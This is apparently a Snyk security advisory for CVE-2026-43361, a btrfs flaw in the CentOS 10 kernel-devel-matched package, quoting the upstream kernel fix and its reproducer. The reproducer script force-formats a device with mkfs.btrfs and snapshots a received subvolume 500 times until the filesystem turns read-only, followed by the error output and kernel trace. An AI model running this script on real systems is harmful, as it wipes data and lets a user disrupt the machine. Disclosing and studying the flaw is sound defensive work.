Buffer Access with Incorrect Length Value Affecting kernel-devel-matched package, versions *
Threat Intelligence
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Test your applications- Snyk IDSNYK-CENTOS10-KERNELDEVELMATCHED-16544366
- published9 May 2026
- disclosed8 May 2026
Introduced: 8 May 2026
NewCVE-2026-43361 (opens in a new tab)How to fix?
There is no fixed version for Centos:10 kernel-devel-matched.
NVD Description
Note: Versions mentioned in the description apply only to the upstream kernel-devel-matched package and not the kernel-devel-matched package as distributed by Centos.
See How to fix? for Centos:10 relevant fixed versions and status.
In the Linux kernel, the following vulnerability has been resolved:
btrfs: fix transaction abort when snapshotting received subvolumes
Currently a user can trigger a transaction abort by snapshotting a previously received snapshot a bunch of times until we reach a BTRFS_UUID_KEY_RECEIVED_SUBVOL item overflow (the maximum item size we can store in a leaf). This is very likely not common in practice, but if it happens, it turns the filesystem into RO mode. The snapshot, send and set_received_subvol and subvol_setflags (used by receive) don't require CAP_SYS_ADMIN, just inode_owner_or_capable(). A malicious user could use this to turn a filesystem into RO mode and disrupt a system.
Reproducer script:
$ cat test.sh #!/bin/bash
DEV=/dev/sdi MNT=/mnt/sdi
Use smallest node size to make the test faster.
mkfs.btrfs -f --nodesize 4K $DEV mount $DEV $MNT
Create a subvolume and set it to RO so that it can be used for send.
btrfs subvolume create $MNT/sv touch $MNT/sv/foo btrfs property set $MNT/sv ro true
Send and receive the subvolume into snaps/sv.
mkdir $MNT/snaps btrfs send $MNT/sv | btrfs receive $MNT/snaps
Now snapshot the received subvolume, which has a received_uuid, a
lot of times to trigger the leaf overflow.
total=500 for ((i = 1; i <= $total; i++)); do echo -ne "\rCreating snapshot $i/$total" btrfs subvolume snapshot -r $MNT/snaps/sv $MNT/snaps/sv_$i > /dev/null done echo
umount $MNT
When running the test:
$ ./test.sh (...) Create subvolume '/mnt/sdi/sv' At subvol /mnt/sdi/sv At subvol sv Creating snapshot 496/500ERROR: Could not create subvolume: Value too large for defined data type Creating snapshot 497/500ERROR: Could not create subvolume: Read-only file system Creating snapshot 498/500ERROR: Could not create subvolume: Read-only file system Creating snapshot 499/500ERROR: Could not create subvolume: Read-only file system Creating snapshot 500/500ERROR: Could not create subvolume: Read-only file system
And in dmesg/syslog:
$ dmesg (...) [251067.627338] BTRFS warning (device sdi): insert uuid item failed -75 (0x4628b21c4ac8d898, 0x2598bee2b1515c91) type 252! [251067.629212] ------------[ cut here ]------------ [251067.630033] BTRFS: Transaction aborted (error -75) [251067.630871] WARNING: fs/btrfs/transaction.c:1907 at create_pending_snapshot.cold+0x52/0x465 [btrfs], CPU#10: btrfs/615235 [251067.632851] Modules linked in: btrfs dm_zero (...) [251067.644071] CPU: 10 UID: 0 PID: 615235 Comm: btrfs Tainted: G W 6.19.0-rc8-btrfs-next-225+ #1 PREEMPT(full) [251067.646165] Tainted: [W]=WARN [251067.646733] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.2-0-gea1b7a073390-prebuilt.qemu.org 04/01/2014 [251067.648735] RIP: 0010:create_pending_snapshot.cold+0x55/0x465 [btrfs] [251067.649984] Code: f0 48 0f (...) [251067.653313] RSP: 0018:ffffce644908fae8 EFLAGS: 00010292 [251067.653987] RAX: 00000000ffffff01 RBX: ffff8e5639e63a80 RCX: 00000000ffffffd3 [251067.655042] RDX: ffff8e53faa76b00 RSI: 00000000ffffffb5 RDI: ffffffffc0919750 [251067.656077] RBP: ffffce644908fbd8 R08: 0000000000000000 R09: ffffce644908f820 [251067.657068] R10: ffff8e5adc1fffa8 R11: 0000000000000003 R12: ffff8e53c0431bd0 [251067.658050] R13: ffff8e5414593600 R14: ffff8e55efafd000 R15: 00000000ffffffb5 [251067.659019] FS: 00007f2a4944b3c0(0000) GS:ffff8e5b27dae000(0000) knlGS:0000000000000000 [251067.660115] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [251067.660943] CR2: 00007ffc5aa57898 CR3: 00000005813a2003 CR4: 0000000000370ef0 [251067.661972] Call Trace: [251067.662292] <TASK> [251067.662653] create_pending_snapshots+0x97/0xc0 [btrfs] [251067.663413] btrfs_commit_transaction+0x26e/0xc00 [btrfs] [251067.664257] ? btrfs_qgroup_convert_reserved_meta+0x35/0x390 [btrfs] [251067.665238] ? raw_spin_unlock+0x15/0x30 [251067.665837] ? record_root ---truncated---
References
- https://bugzilla.redhat.com/show_bug.cgi?id=2468264
- https://access.redhat.com/security/cve/CVE-2026-43361
- https://git.kernel.org/stable/c/6bce705b699cba9afccb996c77d194fe003dfa2a
- https://git.kernel.org/stable/c/770af8e465c2c3de528f85e840eab462dd41542b
- https://git.kernel.org/stable/c/9a9227b488ffb7cdbb5d930a01fc6956c05ba61a
- https://git.kernel.org/stable/c/bac55dde8efa457e769c934fd88a63f2141ba238
- https://git.kernel.org/stable/c/e1b18b959025e6b5dbad668f391f65d34b39595a
- https://git.kernel.org/stable/c/e3d8efc157bc590457d3e31da403af1a221643d6